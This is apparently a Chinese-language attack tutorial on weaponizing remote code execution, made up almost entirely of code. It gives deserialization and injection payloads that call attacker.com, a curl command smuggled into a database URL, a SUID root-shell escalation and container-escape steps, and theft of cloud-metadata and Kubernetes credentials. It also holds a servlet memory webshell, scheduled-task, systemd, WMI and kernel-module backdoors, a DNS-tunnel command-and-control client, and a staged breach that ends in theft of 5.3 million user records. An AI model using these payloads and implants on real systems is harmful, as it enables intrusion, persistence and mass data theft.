任意代码执行的原子狩猎:从漏洞挖掘到系统沦陷的武器化工程

yaml# Spring Boot application.yml 中的SpEL注入spring:  application:    name: #{T(java.lang.Runtime).getRuntime().exec('calc')}# 环境变量中的命令注入DATABASE_URL: "postgres://user:pass@host/db?ssl=true;$(curl attacker.com)"

java// Fastjson ≤1.2.68 的AutoType绕过{  "@type":"com.sun.rowset.JdbcRowSetImpl",  "dataSourceName":"ldap://attacker.com/Exploit",  "autoCommit":true}// Yaml反序列化（SnakeYAML）!!javax.script.ScriptEngineManager [  !!java.net.URLClassLoader [[    !!java.net.URL ["http://attacker.com/yaml-payload.jar"]  ]]]

javascript// JSON Schema验证器中的execconst schema = {  "properties": {    "name": {      "type": "string",      "pattern": "^.*$",      "onMatch": "function(value){require('child_process').exec(value)}"    }  }};// XML Schema中的XPath注入// xpath: //*[name()='$((new java.lang.ProcessBuilder('calc')).start())']

java// Quartz Scheduler中的JobDetail注入JobDetail job = newJob(MaliciousJob.class)    .withIdentity("job1", "group1")    .usingJobData("data",         "恶意序列化数据: {" +        "\"@type\":\"org.springframework.context.support.ClassPathXmlApplicationContext\"," +        "\"configLocation\":\"http://attacker.com/spel.xml\"}")    .build();

xml<!-- Maven插件中的exec --><plugin>    <groupId>org.codehaus.mojo</groupId>    <artifactId>exec-maven-plugin</artifactId>    <executions>        <execution>            <phase>compile</phase>            <goals><goal>exec</goal></goals>            <configuration>                <executable>${project.build.directory}/malicious.sh</executable>            </configuration>        </execution>    </executions></plugin>

bash# 通过应用权限执行系统命令# 寻找SUID二进制文件find / -perm -4000 2>/dev/null# 利用环境变量劫持echo 'int main(){setuid(0);system("/bin/bash");}' > /tmp/exploit.cgcc /tmp/exploit.c -o /tmp/exploitexport PATH=/tmp:$PATH# 触发SUID程序执行

python# 检测容器环境import os, socket, jsondef check_container():    indicators = {        'docker': '/.dockerenv',        'k8s': '/var/run/secrets/kubernetes.io/serviceaccount/token',        'cgroup': '/proc/self/cgroup'    }    for env, path in indicators.items():        if os.path.exists(path):            return env, path    return None# 尝试容器逃逸def escape_container():    # 1. Docker Socket挂载    if os.path.exists('/var/run/docker.sock'):        # 控制宿主机Docker守护进程        return "docker_socket_escape"    # 2. 特权容器检查    with open('/proc/self/status') as f:        if 'CapEff:\t0000003fffffffff' in f.read():            # 具有全部能力，直接挂载宿主机文件系统            os.system('mount /dev/sda1 /mnt')            return "privileged_container"    # 3. 内核漏洞检测    vulnerabilities = {        'CVE-2022-0847': 'dirtypipe',        'CVE-2022-0492': 'cgroups_release_agent'    }    return "check_kernel_exploits"

bash# AWS实例元数据服务攻击curl http://169.254.169.254/latest/meta-data/iam/security-credentials/# 获取临时凭证# 阿里云元数据curl http://100.100.100.200/latest/meta-data/ram/security-credentials/# 利用凭证横向移动aws sts assume-role --role-arn arn:aws:iam::目标账户:role/Admin \  --role-session-name attack-session

yaml# 利用Service Account TokenapiVersion: v1kind: Podmetadata:  name: privilege-escalatorspec:  containers:  - name: attacker    image: alpine    command: ["/bin/sh"]    args: ["-c", "cat /var/run/secrets/kubernetes.io/serviceaccount/token"]# 使用窃取的Token操作集群kubectl --token=窃取的TOKEN --server=https://kubernetes.default.svc \  get pods --all-namespaces

java// Java Filter型内存马public class EvilFilter implements Filter {    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) {        if(req.getParameter("cmd") != null) {            try {                Runtime.getRuntime().exec(req.getParameter("cmd"));            } catch(Exception e) {}        }        chain.doFilter(req, resp);    }}// 动态注册FilterServletContext ctx = request.getServletContext();FilterRegistration.Dynamic filter = ctx.addFilter("evil", new EvilFilter());filter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");

powershell# Windows隐藏计划任务schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\ScheduledScan" `  /tr "C:\Windows\System32\cmd.exe /c 恶意命令" `  /sc monthly /mo 1 /f /ru "SYSTEM"# Linux Systemd定时服务[Unit]Description=Backdoor ServiceAfter=network.target[Service]Type=oneshotExecStart=/bin/bash -c "恶意命令"User=root[Install]WantedBy=multi-user.target

powershell$filterArgs = @{    EventNamespace = 'root\cimv2'    Name = 'BackdoorFilter'    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"    QueryLanguage = 'WQL'}$consumerArgs = @{    Name = 'BackdoorConsumer'    CommandLineTemplate = "cmd.exe /c 恶意命令"}$filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $consumerArgs# 绑定过滤器和消费者$bindingArgs = @{    Filter = $filter    Consumer = $consumer}Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $bindingArgs

python# DNS隐蔽信道C2import base64, subprocess, dns.resolverdef execute_via_dns(command):    # 将命令编码为子域名    encoded = base64.b64encode(command.encode()).decode().replace('=', '')    # 分块发送    chunk_size = 30    for i in range(0, len(encoded), chunk_size):        chunk = encoded[i:i+chunk_size]        domain = f"{chunk}.c2.attacker.com"        try:            dns.resolver.resolve(domain, 'A')        except:            pass    # 通过TXT记录接收输出    output_domain = f"output.{encoded[:10]}.c2.attacker.com"    try:        answers = dns.resolver.resolve(output_domain, 'TXT')        for rdata in answers:            for txt_string in rdata.strings:                return txt_string.decode()    except:        return ""# 主循环while True:    cmd = execute_via_dns("get_command")    if cmd:        result = subprocess.check_output(cmd, shell=True)        execute_via_dns(f"result:{base64.b64encode(result).decode()}")

c// Linux内核模块后门#include<linux/module.h>#include<linux/kernel.h>#include<linux/init.h>#include<linux/netfilter.h>#include<linux/netfilter_ipv4.h>static struct nf_hook_ops nfho;unsignedinthook_func(void *priv, struct sk_buff *skb,                       const struct nf_hook_state *state) {    struct iphdr *iph = ip_hdr(skb);    // 检测特定特征触发后门    if(iph->protocol == IPPROTO_TCP &&        skb->data[0] == 0xde && skb->data[1] == 0xad) {        // 执行特权操作        char *argv[] = {"/bin/bash", "-c", "恶意命令", NULL};        call_usermodehelper(argv[0], argv, NULL, UMH_WAIT_PROC);    }    return NF_ACCEPT;}staticint __init backdoor_init(void){    nfho.hook = hook_func;    nfho.hooknum = NF_INET_PRE_ROUTING;    nfho.pf = PF_INET;    nfho.priority = NF_IP_PRI_FIRST;    nf_register_net_hook(&init_net, &nfho);    return 0;}

pythonclass RCEDetector:    def __init__(self, target_info):        self.tech_stack = target_info['tech_stack']        self.contexts = target_info['contexts']        self.payloads = self._load_payload_library()    def _load_payload_library(self):        """加载针对不同技术栈的Payload库"""        library = {            'java': {                'deserialization': self._java_deser_payloads(),                'spel': self._spel_payloads(),                'ognl': self._ognl_payloads()            },            'python': {                'pickle': self._pickle_payloads(),                'yaml': self._yaml_payloads(),                'template': self._python_tpl_payloads()            },            'nodejs': {                'eval': self._eval_payloads(),                'deserialization': self._node_deser_payloads()            }        }        return library    def generate_contextual_payloads(self, injection_point):        """根据注入点上下文生成Payload"""        payloads = []        # 判断是否是命令注入上下文        if self._is_command_context(injection_point):            payloads.extend(self._os_command_payloads())        # 判断是否是代码注入上下文        if self._is_code_context(injection_point):            for lang in ['java', 'python', 'php', 'javascript']:                if lang in self.tech_stack.lower():                    payloads.extend(self._code_exec_payloads(lang))        # 判断是否是反序列化上下文        if self._is_deserialization_context(injection_point):            payloads.extend(self._deserialization_payloads())        return payloads    def _java_deser_payloads(self):        """Java反序列化Payload库"""        return [            # Commons Collections链            "rO0ABX...",            # Jdk7u21链              "rO0ABX...",            # 动态生成基于目标classpath的链            self._dynamic_gadget_chain()        ]

pythonclass RCEImpactAssessor:    def __init__(self, exploit_successful):        self.capabilities = []        self.environment = self._probe_environment()    def full_assessment(self):        """完整的影响评估链"""        assessment = {            'privilege': self._assess_privilege(),            'persistence': self._assess_persistence_options(),            'lateral': self._assess_lateral_movement(),            'data_access': self._assess_data_access(),            'business_impact': self._calculate_business_impact()        }        return assessment    def _assess_privilege(self):        """评估当前权限级别"""        tests = [            ('root_check', 'id -u', '0', 'root权限'),            ('docker_check', 'docker ps', None, 'Docker访问权限'),            ('k8s_check', 'kubectl version', None, 'Kubernetes访问权限'),            ('cloud_check', self._check_cloud_metadata, None, '云服务凭证')        ]        for name, cmd, expected, desc in tests:            try:                result = self._execute_safely(cmd)                if expected and result.strip() == expected:                    self.capabilities.append(desc)                elif result:                    self.capabilities.append(f"{desc}: {result[:100]}")            except:                continue        return self.capabilities    def _assess_lateral_movement(self):        """评估横向移动可能性"""        lateral_options = []        # 检查网络拓扑        network_info = self._execute_safely('ip route')        if '10.' in network_info or '192.168.' in network_info:            lateral_options.append('内网环境')        # 检查可访问的服务        services = self._execute_safely('netstat -tulpn 2>/dev/null || ss -tulpn')        for line in services.split('\n'):            if ':22' in line:                lateral_options.append('SSH服务')            if ':445' in line or ':139' in line:                lateral_options.append('SMB服务')        # 检查凭证文件        sensitive_files = [            '/etc/passwd', '/etc/shadow',            '~/.ssh/id_rsa', '~/.aws/credentials',            '/var/lib/kubelet/kubeconfig'        ]        for file in sensitive_files:            if self._file_exists(file):                lateral_options.append(f'敏感文件: {file}')        return lateral_options

pythonclass ExploitChainBuilder:    def __init__(self, initial_access):        self.chain = []        self.current_access = initial_access    def build_chain(self, target_objective):        """构建从初始访问到目标达成的完整链"""        # 步骤1：信息收集        self.chain.append(self._collect_info())        # 步骤2：权限提升        if not self._is_privileged():            self.chain.append(self._escalate_privilege())        # 步骤3：持久化        self.chain.append(self._establish_persistence())        # 步骤4：横向移动（如果目标在内网）        if target_objective['location'] == 'internal':            self.chain.append(self._lateral_move(target_objective))        # 步骤5：目标达成        self.chain.append(self._achieve_objective(target_objective))        return self.chain    def _escalate_privilege(self):        """自动化权限提升策略选择"""        strategies = [            ('kernel_exploit', self._try_kernel_exploit),            ('sudo_misconfig', self._check_sudo_misconfig),            ('suid_binary', self._exploit_suid),            ('docker_escape', self._try_docker_escape),            ('credential_theft', self._steal_credentials)        ]        for name, strategy_func in strategies:            if strategy_func():                return {'step': 'privilege_escalation', 'method': name}        return {'step': 'privilege_escalation', 'status': 'failed'}    def _try_kernel_exploit(self):        """自动选择并尝试内核漏洞利用"""        kernel_version = self._execute_safely('uname -r')        # 内核漏洞数据库        exploits = {            '4.4.0': ['CVE-2022-0847', 'CVE-2022-2588'],            '5.10.0': ['CVE-2022-34918'],            '5.15.0': ['CVE-2023-0386']        }        for version_prefix, cves in exploits.items():            if kernel_version.startswith(version_prefix):                for cve in cves:                    if self._test_exploit(cve):                        return True        return False

pythondef assess_business_value(target):    value_factors = {        'user_count': get_user_count(target),        'data_sensitivity': classify_data(target),        'transaction_volume': get_transaction_stats(target),        'brand_reputation': estimate_reputation_impact(target)    }    # 加权计算总分    weights = {        'user_count': 0.2,        'data_sensitivity': 0.4,        'transaction_volume': 0.3,        'brand_reputation': 0.1    }    total_score = sum(value_factors[k] * weights[k] for k in value_factors)    return total_score

bash# 综合性资产发现oneforall --target example.com run# 针对性组件识别whatweb -a 3 https://example.com# API端点枚举gospider -s https://example.com -t 10 -c 5 --js --sitemap

python# 构建攻击面图谱attack_surface = {    'input_vectors': [],    'data_flows': [],    'trust_boundaries': [],    'security_controls': []}# 识别潜在执行点execution_points = find_execution_points(attack_surface)

pythonclass TargetedRCEProbe:    def probe(self, target):        results = []        # 基于技术栈的探测        for component in target.tech_stack:            if component == 'fastjson':                results.extend(self.probe_fastjson(target))            elif component == 'struts2':                results.extend(self.probe_struts2(target))            elif component == 'log4j2':                results.extend(self.probe_log4j(target))        # 基于业务功能的探测        for endpoint in target.api_endpoints:            if 'import' in endpoint or 'upload' in endpoint:                results.extend(self.probe_file_upload(endpoint))            if 'template' in endpoint or 'render' in endpoint:                results.extend(self.probe_ssti(endpoint))        return results

pythondef generate_weaponized_report(vulnerability):    report = {        'title': generate_impactful_title(vulnerability),        'technical_details': {            'vulnerability_type': vulnerability.type,            'location': vulnerability.location,            'payload': sanitize_payload(vulnerability.payload),            'reproduction_steps': vulnerability.reproduction_steps        },        'impact_analysis': {            'privilege_level': vulnerability.privilege,            'data_access': vulnerability.data_access,            'business_impact': calculate_business_impact(vulnerability),            'exploitation_complexity': rate_complexity(vulnerability)        },        'weaponization': {            'metasploit_module': suggest_metasploit_module(vulnerability),            'custom_exploit': generate_exploit_template(vulnerability),            'detection_evasion': suggest_evasion_techniques(vulnerability)        }    }    return report

text第1阶段：漏洞发现- 目标：某电商平台用户画像服务- 漏洞：Fastjson ≤1.2.68 AutoType绕过- Payload: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit"}第2阶段：初始访问- 获得应用服务器权限- 权限：Web应用用户（www-data）第3阶段：权限提升与环境侦查- 发现应用使用AWS Secrets Manager存储数据库凭证- 通过应用权限读取AWS临时凭证- 凭证角色：app-server-role（S3读取、EC2描述权限）第4阶段：横向移动- 使用凭证枚举所有EC2实例- 发现管理后台服务器- 通过SSH密钥传递获得管理员访问第5阶段：持久化与数据访问- 在管理服务器安装SSH后门- 访问生产数据库备份- 窃取用户数据（530万条记录）第6阶段：影响最大化- 通过数据库凭证访问RDS快照- 发现跨账户IAM角色- 获取组织级管理权限